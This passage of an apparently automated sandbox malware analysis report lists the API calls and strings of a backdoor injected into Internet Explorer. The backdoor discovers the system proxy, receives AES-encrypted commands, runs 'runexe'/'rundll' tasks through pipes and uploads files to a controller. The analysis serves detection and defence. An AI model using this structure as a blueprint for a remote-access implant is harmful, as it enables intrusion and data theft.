Part of subcall function 0051350A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00513568
Part of subcall function 0051350A: ??_U@YAPAXI@Z.MSVCRT ref: 00513572
Part of subcall function 0051350A: memset.MSVCRT ref: 0051357C
Part of subcall function 0051350A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000), ref: 0051358D
Part of subcall function 0051350A: ??_V@YAXPAX@Z.MSVCRT ref: 005135A2
Part of subcall function 0051350A: ??_V@YAXPAX@Z.MSVCRT ref: 005135A8

Strings

Read Upload File Size Error! - %d, xrefs: 00515AAB
Send OP_UPLOAD_DATA Data Failed!, xrefs: 00515BED
open upload file error! - %d, xrefs: 00515A78
Read Upload File Error! - %d, xrefs: 00515B74
Send OP_UPLOAD_START Data Failed!, xrefs: 00515B08

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00511901, Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 217

APIs

memset.MSVCRT ref: 00511936
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000032,?,?,00000000), ref: 0051196F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000019), ref: 00511984
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,0000001E), ref: 00511999
wcsstr.MSVCRT ref: 005119B5
wcsstr.MSVCRT ref: 005119CB
___swprintf_l.LIBCMT ref: 005119E6

Part of subcall function 00518133: memset.MSVCRT ref: 00518179
Part of subcall function 00518133: GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
Part of subcall function 00518133: ___swprintf_l.LIBCMT ref: 005181D0
Part of subcall function 00518133: memset.MSVCRT ref: 0051821C
Part of subcall function 00518133: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
Part of subcall function 00518133: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
Part of subcall function 00518133: GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
Part of subcall function 00518133: SetEndOfFile.KERNEL32(00000000), ref: 00518280
Part of subcall function 00518133: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D
Part of subcall function 00518133: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
Part of subcall function 00518133: CloseHandle.KERNEL32(00000000), ref: 005182D2

WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,?,?,00000000), ref: 00511A18
WinHttpSetOption.WINHTTP(?,00001002,?,?,?,?,?,?,00000000), ref: 00511A81
GetLastError.KERNEL32(?,?,?,00000000), ref: 00511A87

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpSetOption.WINHTTP(?,00001003,?,?,?,?,?,00000000), ref: 00511AC7
GetLastError.KERNEL32(?,?,?,00000000), ref: 00511ACD
WinHttpSetOption.WINHTTP(?,00001002,?,?,?,?,?,00000000), ref: 00511B02
WinHttpSetOption.WINHTTP(?,00001003,?,?,?,?,?,00000000), ref: 00511B2F

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Strings

HTTPS, xrefs: 005119BB, 005119D6, 005119D7
set username failed! - %d, xrefs: 00511A8E
HTTP, xrefs: 005119D1
set password failed! - %d, xrefs: 00511AD4
://, xrefs: 005119AF, 005119C5
%s=%s%s, xrefs: 005119D8
Try by config proxy: %s %s %s, xrefs: 00511A05

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00511DA2, Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 224

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00511DDE
WinHttpGetIEProxyConfigForCurrentUser.WINHTTP(?), ref: 00511E18
memset.MSVCRT ref: 00511E87
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020), ref: 00511E9C
WinHttpGetProxyForUrl.WINHTTP(?,?,00000002,?), ref: 00511EB3
WinHttpSetOption.WINHTTP(?,00000026,00000003,0000000C), ref: 00511ED4
WinHttpCloseHandle.WINHTTP(?), ref: 00511EE8
___swprintf_l.LIBCMT ref: 00511F39

Part of subcall function 0051AB18: _errno.MSVCRT ref: 0051AB45
Part of subcall function 0051AB18: _errno.MSVCRT ref: 0051ABDA

Part of subcall function 00518133: memset.MSVCRT ref: 00518179
Part of subcall function 00518133: GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
Part of subcall function 00518133: ___swprintf_l.LIBCMT ref: 005181D0
Part of subcall function 00518133: memset.MSVCRT ref: 0051821C
Part of subcall function 00518133: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
Part of subcall function 00518133: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
Part of subcall function 00518133: GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
Part of subcall function 00518133: SetEndOfFile.KERNEL32(00000000), ref: 00518280
Part of subcall function 00518133: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D
Part of subcall function 00518133: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
Part of subcall function 00518133: CloseHandle.KERNEL32(00000000), ref: 005182D2

GlobalFree.KERNEL32(?), ref: 00511F93
GlobalFree.KERNEL32(?), ref: 00511FA1
WinHttpOpen.WINHTTP(00000000,00000003,?,?,00000000), ref: 00511FAF

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000), ref: 00511FE0
GetLastError.KERNEL32 ref: 00511FEC

Strings

HTTPS, xrefs: 00511F21
Try Http by AutoProxy., xrefs: 00511DC7
Get AutoProxy %s by %s, xrefs: 00511F7E
HTTP, xrefs: 00511F15, 00511F29, 00511F2A
OpenHttpByNoProxy WinHttpOpen Failed! - %d, xrefs: 00511FF3
Try Https by AutoProxy., xrefs: 00511DCE
%s=%s://%s, xrefs: 00511F2B

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051129D, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 191registry

APIs

memset.MSVCRT ref: 00511301

Part of subcall function 00511124: memset.MSVCRT ref: 0051115A
Part of subcall function 00511124: RegEnumKeyW.ADVAPI32(80000003,00000000,?,00000104), ref: 0051117D
Part of subcall function 00511124: wcsncmp.MSVCRT(S-1-5-21,?,00000008), ref: 00511199
Part of subcall function 00511124: wcsstr.MSVCRT ref: 005111B1
Part of subcall function 00511124: memset.MSVCRT ref: 005111CF
Part of subcall function 00511124: RegOpenKeyExW.ADVAPI32(80000003,?,00000000,00020019,?), ref: 00511206

RegQueryValueExW.ADVAPI32(00000000,ProxyEnable,00000000,00000000,?,?,?,?,00000000), ref: 00511345
RegQueryValueExW.ADVAPI32(?,ProxyServer,00000000,00000000,?,?), ref: 00511370
RegCloseKey.ADVAPI32(?), ref: 00511378
___swprintf_l.LIBCMT ref: 00511398

Part of subcall function 00519317: _errno.MSVCRT ref: 00519324
Part of subcall function 00519317: _wcslwr.MSVCRT ref: 00519356

wcsstr.MSVCRT ref: 005113B9
wcsstr.MSVCRT ref: 005113D3
wcsstr.MSVCRT ref: 005113EE
memset.MSVCRT ref: 00511412

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

___swprintf_l.LIBCMT ref: 005114C2

Part of subcall function 00518133: memset.MSVCRT ref: 00518179
Part of subcall function 00518133: GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
Part of subcall function 00518133: ___swprintf_l.LIBCMT ref: 005181D0
Part of subcall function 00518133: memset.MSVCRT ref: 0051821C
Part of subcall function 00518133: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
Part of subcall function 00518133: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
Part of subcall function 00518133: GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
Part of subcall function 00518133: SetEndOfFile.KERNEL32(00000000), ref: 00518280
Part of subcall function 00518133: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D
Part of subcall function 00518133: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
Part of subcall function 00518133: CloseHandle.KERNEL32(00000000), ref: 005182D2

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Get IEProxy %s., xrefs: 005114CE
%s=, xrefs: 00511390
ProxyEnable, xrefs: 00511335
ProxyServer, xrefs: 00511365
%s=%s://%s, xrefs: 005114B3

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00515258, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 196string

APIs

??2@YAPAXI@Z.MSVCRT ref: 00515288
memset.MSVCRT ref: 00515295
??2@YAPAXI@Z.MSVCRT ref: 005152A2
memset.MSVCRT ref: 005152B5
memcpy.MSVCRT ref: 005152C5

Part of subcall function 0051350A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000200,?,?,00000000,005152D8,00000000,?), ref: 00513524
Part of subcall function 0051350A: ??_U@YAPAXI@Z.MSVCRT ref: 0051353A
Part of subcall function 0051350A: memset.MSVCRT ref: 00513547
Part of subcall function 0051350A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000001,00000000,005152D8,00000000,?), ref: 0051355D
Part of subcall function 0051350A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00513568
Part of subcall function 0051350A: ??_U@YAPAXI@Z.MSVCRT ref: 00513572
Part of subcall function 0051350A: memset.MSVCRT ref: 0051357C
Part of subcall function 0051350A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000), ref: 0051358D
Part of subcall function 0051350A: ??_V@YAXPAX@Z.MSVCRT ref: 005135A2
Part of subcall function 0051350A: ??_V@YAXPAX@Z.MSVCRT ref: 005135A8

??2@YAPAXI@Z.MSVCRT ref: 005152DE
memset.MSVCRT ref: 005152ED
strstr.MSVCRT ref: 0051532E

Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A832
Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A8AC

Part of subcall function 00515486: memset.MSVCRT ref: 005154C7
Part of subcall function 00515486: ___swprintf_l.LIBCMT ref: 005154DA
Part of subcall function 00515486: strncmp.MSVCRT(?,runexe ,00000007,?,?,[%s],?,?,00000000,000001FF), ref: 005154E7
Part of subcall function 00515486: strncmp.MSVCRT(?,rundll ,00000007,?,?,00520110,00000294,005153A6,?,00000001,?,?,00000001), ref: 0051555C
Part of subcall function 00515486: strstr.MSVCRT ref: 005155DB
Part of subcall function 00515486: LoadLibraryA.KERNEL32(?), ref: 005155F9
Part of subcall function 00515486: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00520110,00000294,005153A6,?,00000001,?,?,00000001), ref: 0051562D
Part of subcall function 00515486: ___swprintf_l.LIBCMT ref: 00515645
Part of subcall function 00515486: GetProcAddress.KERNEL32(00000000,00000001,?,?,?,?,?,?,?,?,00520110,00000294,005153A6,?,00000001), ref: 00515664
Part of subcall function 00515486: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00520110,00000294,005153A6,?,00000001,?,?,00000001), ref: 00515698
Part of subcall function 00515486: ___swprintf_l.LIBCMT ref: 005156F8
Part of subcall function 00515486: GetSystemDirectoryA.KERNEL32(?,00000200), ref: 00515736
Part of subcall function 00515486: CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005157B6
Part of subcall function 00515486: GetLastError.KERNEL32 ref: 005157C0
Part of subcall function 00515486: ___swprintf_l.LIBCMT ref: 00515808
Part of subcall function 00515486: memset.MSVCRT ref: 00515831
Part of subcall function 00515486: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 00515896
Part of subcall function 00515486: WaitForSingleObject.KERNEL32(?,?), ref: 005158BD
Part of subcall function 00515486: PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 005158F4
Part of subcall function 00515486: ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00515922
Part of subcall function 00515486: WaitForSingleObject.KERNEL32(?,000003E8), ref: 0051594B
Part of subcall function 00515486: memset.MSVCRT ref: 00515964
Part of subcall function 00515486: CloseHandle.KERNEL32(?), ref: 0051597A
Part of subcall function 00515486: CloseHandle.KERNEL32(?), ref: 00515982
Part of subcall function 00515486: CloseHandle.KERNEL32(?), ref: 00515992
Part of subcall function 00515486: CloseHandle.KERNEL32(?), ref: 0051599A

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

??3@YAXPAX@Z.MSVCRT ref: 00515463

Part of subcall function 00513455: MultiByteToWideChar.KERNEL32(00000000,00000000,0000C6FF,000000FF,00000000,00000000,00000008,?,0000C6FF,?,?,?,005153ED,0000C6FF,00000000), ref: 0051346E
Part of subcall function 00513455: ??_U@YAPAXI@Z.MSVCRT ref: 00513484
Part of subcall function 00513455: MultiByteToWideChar.KERNEL32(00000000,00000000,0000C6FF,000000FF,00000000,00000001,?,?,?,005153ED,0000C6FF,00000000), ref: 005134A1
Part of subcall function 00513455: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,005153ED,0000C6FF,00000000), ref: 005134B8
Part of subcall function 00513455: ??_U@YAPAXI@Z.MSVCRT ref: 005134BE
Part of subcall function 00513455: memset.MSVCRT ref: 005134C9
Part of subcall function 00513455: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,0000C6FF,00000001,00000000,00000000,?,005153ED,0000C6FF,00000000), ref: 005134E2
Part of subcall function 00513455: ??_V@YAXPAX@Z.MSVCRT ref: 005134F5
Part of subcall function 00513455: ??_V@YAXPAX@Z.MSVCRT ref: 005134FD

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

??3@YAXPAX@Z.MSVCRT ref: 00515453
??3@YAXPAX@Z.MSVCRT ref: 0051545C

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

Send Command Result Data Failed!, xrefs: 00515435
Recv CommandList Format Error!, xrefs: 00515471

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00511BD3, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 149

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000,?,?,00000000), ref: 00511C12
memset.MSVCRT ref: 00511C38
memset.MSVCRT ref: 00511C56

Part of subcall function 00511231: RegQueryValueExW.ADVAPI32(00000000,AutoConfigURL,00000000,00000000,00000400,00000400,?,00000000), ref: 00511257
Part of subcall function 00511231: RegCloseKey.ADVAPI32(00000000), ref: 00511260

memset.MSVCRT ref: 00511C90
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000020,?,00000020,?,?,?), ref: 00511CA3

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

WinHttpGetProxyForUrl.WINHTTP(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00511D33
WinHttpSetOption.WINHTTP(?,00000026,00000003,0000000C,?,?,?,?,?,?,?,?,?), ref: 00511D57
GlobalFree.KERNEL32(?), ref: 00511D71
GlobalFree.KERNEL32(?), ref: 00511D81

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Try Https by WPADProxy., xrefs: 00511C01
https://, xrefs: 00511CB7
Try Http by WPADProxy., xrefs: 00511BFA
http://, xrefs: 00511CBE

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051AFD2, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 124sleep

APIs

Sleep.KERNEL32(000003E8), ref: 0051B035
InterlockedCompareExchange.KERNEL32(00523E44,?,00000000), ref: 0051B03F
_amsg_exit.MSVCRT ref: 0051B05C
__initterm_e.LIBCMT ref: 0051B077
_initterm.MSVCRT ref: 0051B090
InterlockedExchange.KERNEL32(00523E44,00000000), ref: 0051B0A6
Sleep.KERNEL32(000003E8), ref: 0051B0DD
InterlockedCompareExchange.KERNEL32(00523E44,00000001,00000000), ref: 0051B0E8
_amsg_exit.MSVCRT ref: 0051B0FA
free.MSVCRT(00472EE0), ref: 0051B127
InterlockedExchange.KERNEL32(00523E44,00000000), ref: 0051B149

Strings

.G, xrefs: 0051B10C, 0051B12D
.G, xrefs: 0051B102, 0051B134

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005140AA, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 107

APIs

WinHttpQueryDataAvailable.WINHTTP(?,00000000,?,00000000,?,?), ref: 005140C4
GetLastError.KERNEL32 ref: 005140CE

Part of subcall function 0051336C: WinHttpReadData.WINHTTP(?,?,?,?,?,?,?,0051410A,?,00000000,00000004), ref: 0051338C
Part of subcall function 0051336C: GetLastError.KERNEL32(?,?,0051410A,?,00000000,00000004), ref: 005133A6

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

??2@YAPAXI@Z.MSVCRT ref: 00514130
??2@YAPAXI@Z.MSVCRT ref: 00514156

Part of subcall function 005191BC: ??2@YAPAXI@Z.MSVCRT ref: 00519203
Part of subcall function 005191BC: memset.MSVCRT ref: 00519224
Part of subcall function 005191BC: memcpy.MSVCRT ref: 0051923B
Part of subcall function 005191BC: memcpy.MSVCRT ref: 00519297
Part of subcall function 005191BC: ??3@YAXPAX@Z.MSVCRT ref: 005192B2

??3@YAXPAX@Z.MSVCRT ref: 00514181
??3@YAXPAX@Z.MSVCRT ref: 00514188
??3@YAXPAX@Z.MSVCRT ref: 0051419B

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

??3@YAXPAX@Z.MSVCRT ref: 005141C7
??3@YAXPAX@Z.MSVCRT ref: 005141E2

Strings

WinHttpQueryDataAvailable Failed! - %d, xrefs: 005140D5
Recv Data Length : %d., xrefs: 00514123
AES Decrypt Received Data Fail!, xrefs: 0051418D
Receive Data length Not Correct!, xrefs: 005141D4

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00515CDD, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 144

APIs

memset.MSVCRT ref: 00515CFB

Part of subcall function 0051350A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000200,?,?,00000000,005152D8,00000000,?), ref: 00513524
Part of subcall function 0051350A: ??_U@YAPAXI@Z.MSVCRT ref: 0051353A
Part of subcall function 0051350A: memset.MSVCRT ref: 00513547
Part of subcall function 0051350A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000001,00000000,005152D8,00000000,?), ref: 0051355D
Part of subcall function 0051350A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00513568
Part of subcall function 0051350A: ??_U@YAPAXI@Z.MSVCRT ref: 00513572
Part of subcall function 0051350A: memset.MSVCRT ref: 0051357C
Part of subcall function 0051350A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000), ref: 0051358D
Part of subcall function 0051350A: ??_V@YAXPAX@Z.MSVCRT ref: 005135A2
Part of subcall function 0051350A: ??_V@YAXPAX@Z.MSVCRT ref: 005135A8

??2@YAPAXI@Z.MSVCRT ref: 00515D57
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000), ref: 00515D82
CloseHandle.KERNEL32(00000000), ref: 00515D8E
memcpy.MSVCRT ref: 00515DA4
GetLastError.KERNEL32(?,?,?,?,00000000,000003EB,?,?,?,?,?,00000000), ref: 00515DD1

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
